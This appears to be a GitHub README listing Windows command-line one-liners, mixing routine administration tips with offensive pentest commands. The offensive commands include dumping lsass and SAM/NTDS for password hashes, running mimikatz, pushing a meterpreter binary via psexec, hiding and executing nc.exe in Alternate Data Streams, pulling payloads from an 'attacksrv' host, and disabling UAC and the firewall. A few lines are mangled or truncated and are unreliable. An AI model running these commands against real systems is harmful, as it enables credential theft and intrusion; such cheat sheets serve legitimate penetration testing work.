wincmdfu
wincmdfu copied to clipboard
Windows one line commands that make life easier, shortcuts and command line fu.
Windows CLI gems. Tweets of @wincmdfu
Windows one line commands that make life easier, shortcuts and command line fu.
Table of Contents
- Get entires from IPv4 neighbor cache
- Get available wireless networks via cmd and netsh
- Quick list IP addresses only
- List ALL services AND their binaries
- Export SAM from the Windows Registry to a file
- Enable remote desktop using reg
- Enable the boot log to see list of drivers loaded during startup
- Powershell cmdlet to create System Restore Point
- Check the current account for seDebugPrivilege
- Enable/disable system users via command line
- View process that is consuming the most memory using powershell
- Create an Alternate Data Stream from a file on an NTFS partition
- Export running processes in CSV format
- Lock Windows desktop using command line
- Start explorer with a file or folder selected/highlighted
- Dump VirtualBox image containing RAM and ELF headers
- Set Time Zone of the system clock
- Make folder inside a guest from the host
- Force copy meterpreter binary to remote machines & run as system
-
Create n/w share called
Apps
, with read access & limit to 10 conns - List all the drives under My Computer using fsutil
- Troubleshoot n/w packet drops with router statistics using pathping
- List unsigned dlls for a specific process. For system wide list
- Obtain a list of Windows XP computers on the domain using PS
-
Open the System Properties window, with the
Advanced
tab selected -
Using the
dir
command to find Alternate Data Streams -
Use
procdump
to obtain thelsass
process memory -
Run
mimikatz
inminidump
mode & usemini.dmp
fromprocdump
- Get list of startup programs using wmic
- Add a binary to an Alternate Data Stream
- Execute a binary Alternate Data Stream Win 7/2008 using wmic
- Show config & state info for Network Access Protection enabled client
- Get computer system information, including domain name and memory, using wmic
- Use the Package Manager in Windows to install the Telnet client on Windows Vista & higher
- Secure delete a file/folder in Windows
- Show all startup entries while hiding Microsoft entries. CSV output
- Download files via commandline using PS
- Fetch the last 10 entries from the Windows Security event log, in text format
- Create a dll that runs calc on invoke
- Run a command as another user
- Get shutdown/reboot events from the last 1000 log entries using PS
- Create a new snapshot of the volume that has the AD database and log files
- Mount the snapshot
- Run a process on a remote system using wmic
- List the machines, with usernames, that were connected via RDP
- List all process that are running on your system by remote users connected via RDP
- Reset the Windows TCP\IP stack
- List logged on users
- Set a static IP on a remote box
- Bypass powershell execution policy restrictions
- List running processes every second on a remote box
- Get a list of running processes and their command line arguments on a remote system
- Remotely enable and start the Volume Shadow Copy Service
-
Ping multiple IPs from
ips.txt
& see live hosts - Set global proxy in Windows to point to IE proxy
- Enumerate list of drivers with complete path information
- View Group Policy Objects that have been applied to a system
- Reset the WMI repository to what it was when the OS was installed
- Create symbolic links in Windows Vista, 7 & higher
- Enable the tftp client in Vista & higher
- Obtain list of firewall rules on a local system
- Get name of current domain controller
- Look at content cached in kernel mode on IIS 7 and higher
-
Quick test to check
MS15_034
- Get a list of all open Named pipes via Powershell
-
Possible
VENOM
detection on VirtualBox - List RDP sessions on local or remote in list format
- Get a list of service packs & hotfixes using wmic for remote systems listed in file
- Export wireless connection profiles
- Unzip using PowerShell
- Open the Network & Sharing center
- Remotely stop/start ftp on several systems
- To quickly find large files using cmd
- Print RDP connections
- List scheduled tasks & binaries
- Display the "Stored User names and Passwords" window
- List namespaces & classes in WMI via PowerShell
- Convert Between VDI, VMDK, VHD, RAW disk images using VirtualBox
- Change file extensions recurseively
- List IPs of running VirtualBox machines
- Windows Privilege Escalation
- Enumerate packages with their oem inf filenames
- Install a driver package using inf file
- Malware Hunting with Mark Russinovich and the Sysinternals
- Windows Nano Server APIs
- Windows wifi hotspot using cmd
- Disable UAC via cmdline
- Turn off Windows firewall for all profiles
- List Missing Updates
- Export SAM and SYSTEM. Dump password hashes offline
- Convert Binary to base64 string to transfer across restricted RDP
- Convert Base64 string to Binary
- List services running as SYSTEM and possibly weak file permissions
- Check Bitlocker status on a remote box
- Export failed logon attempts
- Alternate Data Streams and PS
- Run the Windows Assessment tool for cpu and ram and disk
- Port forward (proxy) traffic to remote host and port
- Enable/Disable NetBIOS over TCP/IP
- Compact multiple VDI files across folders
- Full scan using WinDefender
- Generate 32 char random password
Get entires from IPv4 neighbor cache
C:\>netsh interface ipv4 show neighbors
Get available wireless networks via cmd and netsh
C:\>netsh wlan show networks mode=b
Quick list IP addresses only
Save the following in ip.bat
in %PATH%
C:\>ipconfig | find /I "pv"
Call ip
from CLI
List ALL services AND their binaries
for /F "tokens=2* delims= " %i in ('sc query ^| find /I "ce_name"') do @sc qc %i %j
Export SAM from the Windows Registry to a file
C:\>reg save HKLM\SAM "%temp%\SAM.reg"
Enable remote desktop using reg
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Enable the boot log to see list of drivers loaded during startup
bcdedit /set bootlog yes
Read via %windir%\ntbtlog.txt
Powershell cmdlet to create System Restore Point
PS C:\>Checkpoint-Computer -description "Restore point!"
Check the current account for seDebugPrivilege
C:\> whoami /priv | findstr "Debug"
For all privs:
C:\> whoami /priv
Enable/disable system users via command line
C:\>net user test /active:yes (no)
Get full help on the net user command:
C:\>net help user
View process that is consuming the most memory using powershell
PS C:\> (Get-Process | Sort-Object -Descending WS)[0]
Create an Alternate Data Stream from a file on an NTFS partition
C:\>type data.txt > C:\windows\explorer.exe:newads.txt
Export running processes in CSV format
C:\> tasklist /FO CSV > tasks.txt
Lock Windows desktop using command line
C:\> rundll32 user32.dll,LockWorkStation
Start explorer with a file or folder selected/highlighted
C:\> explorer /select,C:\MyData\sample.docx
Dump VirtualBox image containing RAM and ELF headers
C:\>vboxmanage debugvm "WinXPLab1" dumpguestcore --filename winxplab1.elf
Set Time Zone of the system clock
C:\> tzutil /s "Eastern Standard Time"
List available Time zones:
C:\> tzutil /l
Make folder inside a guest from the host
VirtualBox
C:\> vboxmanage guestcontrol "WinXP" md "C:\\test" --username "user" --password "pass"
Force copy meterpreter binary to remote machines & run as system
C:\> psexec @$ips.txt -s -u adminuser -p pass -f -c \exploits\mp.exe
Create n/w share called Apps
, with read access & limit to 10 conns
C:\> net share Apps=C:\Apps /G:everyone,READ /US:10
List all the drives under My Computer using fsutil
C:\> fsutil.exe fsinfo drives
Troubleshoot n/w packet drops with router statistics using pathping
C:\> pathping -n www.google.com
List unsigned dlls for a specific process.
For system wide list, remove the process name
C:\> listdlls -u explorer.exe
Obtain a list of Windows XP computers on the domain using PS
Server2008
PS C:\> Get-ADComputer -filter {OperatingSystem -like "*XP*"}
Open the System Properties window, with the Advanced
tab selected
Change the number for different tabs
C:\> control sysdm.cpl,,3
Using the dir
command to find Alternate Data Streams
C:\> dir /R | find ":$D"
Using streams sysinternals
(shows path):
C:\> streams -s .
Use procdump
to obtain the lsass
process memory.
Use mimikatz
minidump
to get passwords
C:\> procdump -accepteula -ma lsass.exe mini.dmp
Run mimikatz
in minidump
mode & use mini.dmp
from procdump
mimikatz # sekurlsa::minidump mini.dmp
mimikatz # sekurlsa::logonPasswords
```
### Get list of startup programs using wmic
C:> wmic startup list full
### Add a binary to an Alternate Data Stream
C:> type c:\tools\nc.exe > c:\nice.png:nc.exe
Execute it (XP/2K3):
C:> start c:\nice.png:nc.exe
### Execute a binary Alternate Data Stream Win 7/2008 using wmic
C:> wmic process call create C:\nice.png:nc.exe
### Show config & state info for Network Access Protection enabled client
https://technet.microsoft.com/en-us/library/cc730902(v=ws.10).aspx
C:> netsh nap client show configuration
### Get computer system information, including domain name and memory, using wmic
C:> wmic computersystem list /format:csv
### Use the Package Manager in Windows to install the Telnet client on Windows Vista & higher
C:> pkgmgr /iu:"TelnetClient"
### Secure delete a file/folder in Windows
**Sysinternals**
C:> sdelete -p 10 a.txt
To recursively delete folders:
C:> sdelete -10 -r C:\data\
### Show all startup entries while hiding Microsoft entries. CSV output
**It covers more locations than Windows inbuilt tools**
C:> autorunsc -m -c
### Download files via commandline using PS
PS C:> ipmo BitsTransfer;Start-BitsTransfer -Source http://foo/nc.exe -Destination C:\Windows\Temp\
### Fetch the last 10 entries from the Windows Security event log, in text format
C:> wevtutil qe Security /c:10 /f:Text
**def is XML**
### Create a dll that runs calc on invoke
msfpayload windows/exec cmd=calc.exe R | msfencode -t dll -o rcalc.dll
C:> rundll32.exe rcalc.dll,1
### Run a command as another user
**You will be prompted for password**
C:> runas /noprofile /user:domain\username "mmc wf.msc"
### Get shutdown/reboot events from the last 1000 log entries using PS
Get-EventLog -log system -n 1000 | Where {$_.eventid -eq '1074'} | fl -pr *
### Create a new snapshot of the volume that has the AD database and log files
C:> ntdsutil sn "ac i ntds" create quit quit
### Mount the snapshot
**Copy ntds.dit from snapshot & System hive from reg for pwd hashes**
C:> ntdsutil snapshot "list all" "mount 1" quit quit
### Run a process on a remote system using wmic
C:> wmic /node:ip process call create "net user dum dum /add"
### List the machines, with usernames, that were connected via RDP
C:> reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
### List all process that are running on your system by remote users connected via RDP
C:> query process *
### Reset the Windows TCP\IP stack
netsh int ip reset c:\tcpresetlog.txt
### List logged on users.
**Very useful during a pentest to look for domain admins**
C:> net session | find "\"
### Set a static IP on a remote box
C:> wmic /node:remotebox nicconfig where Index=1 call EnableStatic ("192.168.1.4"), ("255.255.255.0")
### Bypass powershell execution policy restrictions
PS C:> powershell -ExecutionPolicy Bypass -Noninteractive -File .\lastboot.ps1
### List running processes every second on a remote box
C:> wmic /node:target process list brief /every:1
**Remove `/node:target` for localhost**
### Get a list of running processes and their command line arguments on a remote system
C:> wmic /node:target process get commandline, name
### Remotely enable and start the Volume Shadow Copy Service
C:> sc \target config vss start= auto C:> sc \target start vss
### Ping multiple IPs from `ips.txt` & see live hosts
C:>for /F %i in (ips.txt) do ping -n 1 %i | find "bytes="
### Set global proxy in Windows to point to IE proxy
C:> netsh winhttp import proxy source=ie
### Enumerate list of drivers with complete path information
C:> driverquery /FO list /v
### View Group Policy Objects that have been applied to a system
**Very useful during pentests**
C:> gpresult /z /h outputfile.html
### Reset the WMI repository to what it was when the OS was installed
**Very helpful if you have a corrupt repo**
C:> winmgmt /resetrepository
### Create symbolic links in Windows Vista, 7 & higher
C:> mklink
### Enable the tftp client in Vista & higher
C:> ocsetup TFTP /quiet
Pull files to a `compromised server`:
C:> tftp -i attacksrv get bin.exe
### Obtain list of firewall rules on a local system
C:> netsh advfi fi sh rule name=all
**Can be combined with wmic for remote systems**
### Get name of current domain controller
C:> set log C:> nltest /dcname:DOMAIN
Get list of all DCs:
C:> nltest /dclist:DOMAIN
### Look at content cached in kernel mode on IIS 7 and higher
C:> netsh http sh ca
**Useful when investigating the `MS15-034` HTTP.sys vuln**
### Quick test to check `MS15_034`
C:> curl -v -H "Range: bytes=234234-28768768" "http://host/a.png" -o a.png
**HTTP 416 = Vulnerable**
**HTTP 20X = Not vulnerable**
### Get a list of all open Named pipes via Powershell
PS C:> [http://System.IO.Directory ]::GetFiles("\.\pipe\")
### Possible `VENOM` detection on VirtualBox
C:> vboxmanage list -l vms > a.txt
**Search 'Storage' & 'Floppy'**
### List RDP sessions on local or remote in list format
PS C:> qwinsta /server: | foreach {($_.trim() -replace "\s+",",")} | ConvertFrom-Csv
### Get a list of service packs & hotfixes using wmic for remote systems listed in file
C:> wmic /node:@file /output:out.txt qfe list full
### Export wireless connection profiles
C:> netsh wlan export profile
**`key=clear` allows plain text passwords**
### Unzip using PowerShell
PS C:> Add-Type -A System.IO.Compression.FileSystem;[IO.Compression.ZipFile]::ExtractToDirectory(src,dst)
### Open the Network & Sharing center
control.exe /name Microsoft.NetworkandSharingCenter
**Create a shortcut of this as `ns` in `PATH` for ease**
### Remotely stop/start ftp on several systems
C:> wmic /node:@ips.txt /user:u /password:p process call create "net
### To quickly find large files using cmd
C:> forfiles /s /c "cmd /c if @fsize gtr 100000 echo @path @fsize bytes"
**Run from the dir you want**
### Print RDP connections
for /f "delims=" %i in ('reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"') do reg query "%i"
### List scheduled tasks & binaries
C:> schtasks /query /fo LIST /v
**Weak permissions can be exploited for `localprivilege escalation`**
### Display the "Stored User names and Passwords" window
C:> rundll32 keymgr.dll,KRShowKeyMgr
### List namespaces & classes in WMI via PowerShell
PS C:> gwmi -n root -cl __Namespace | Select name
PS C:> gwmi -n root\cimv2 -li
### Convert Between VDI, VMDK, VHD, RAW disk images using VirtualBox
C:> vboxmanage clonehd myvdi.vdi myvmdk.vmdk --format VMDK
### Change file extensions recurseively
**csv to xls for eg**
C:\Projects> forfiles /S /M *.csv /C "cmd /c ren @file @fname.xls"
### List IPs of running VirtualBox machines
for /F %i in ('VBoxManage list runningvms') do VBoxManage guestproperty enumerate %i | find "IP"
### Windows Privilege Escalation
[](http://www.slideshare.net/riyazwalikar/windows-privilege-escalation)
### Enumerate packages with their oem inf filenames
C:> pnputil -e
### Install a driver package using inf file
C:> pnputil -i -a path_to_inf
### Malware Hunting with Mark Russinovich and the Sysinternals
[](https://www.youtube.com/watch?v=80vfTA9LrBM)
### Windows Nano Server APIs
[https://msdn.microsoft.com/en-us/library/mt588480(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/mt588480(v=vs.85).aspx)
### Windows wifi hotspot using cmd
Starting a wifi hotspot using Windows cmd with ssid name `hotspotname` and key `password`

### Disable UAC via cmdline
C:> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v EnableLUA /t REG_DWORD /d 0 /f
### Turn off Windows firewall for all profiles
**Useful if you have a bind shell**
C:> netsh advfirewall set allprofiles state off
### List Missing Updates
PS C:> (New-Object -c Microsoft.Update.Session).CreateUpdateSearcher().Search("IsInstalled=0").Updates|Select Title
### Export SAM and SYSTEM Dump password hashes offline
C:>reg save HKLM\SAM SAM C:>reg save HKLM\SYSTEM SYSTEM
### Convert Binary to base64 string to transfer across restricted RDP
PS C:> [Convert]::ToBase64String((gc -Pa "a.exe" -En By))
### Convert Base64 string to Binary
PS C:> sc -Path "a.exe" -Val ([Convert]::FromBase64String((gc -Pa "b64.txt" ))) -En By
### List services running as SYSTEM and possibly weak file permissions
wmic service where StartName="LocalSystem"|findstr /IV ":\WIN :\PROG"
### Check Bitlocker status on a remote box
manage-bde -status -cn
Use `wmic /node:@ips.txt` & `process` alias for multiple.
### Export failed logon attempts
PS C:> Get-EventLog -Log Security | ?{$_.EntryType -eq 'FailureAudit'} | epcsv log.csv
### Alternate Data Streams and PS
- List all ADS for all files in current dir
PS C:> gi * -s *
- Read ADS
PS C:> gc
- Create ADS using text input
PS C:> sc
- Delete ADS
PS C:> ri
### Run the Windows Assessment tool for cpu and ram and disk
C:> winsat cpuformal -v C:> winsat memformal -v C:> winsat diskformal -v
### Port forward (proxy) traffic to remote host and port
C:> netsh int p add v4tov4 <LPORT> <RHOST> [RPORT] [LHOST]
### Enable/Disable NetBIOS over TCP/IP
Step 1. Get Index of Network Adapter: C:> wmic nicconfig get caption,index
Step 2. Use the index C:> wmic nicconfig where index=1 call SetTcpipNetbios 1
0-Def 1-En 2-Dis
### Compact multiple VDI files across folders
C:> for /F %i in ('dir /b /s *.vdi ^| find ".vdi"') do vboxmanage modifyhd --compact %i
### Full scan using WinDefender
C:>"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -scan -scantype 2
Use #wmic /node:@ips process for multiple.
### Generate 32 char random password
Save as genpass.ps1
PS C:> (char[]|sort{Get-Random})[0..32] -join ''
---
## Contribution
Please read the [contribution guidelines](CONTRIBUTING.md) if you want to contribute.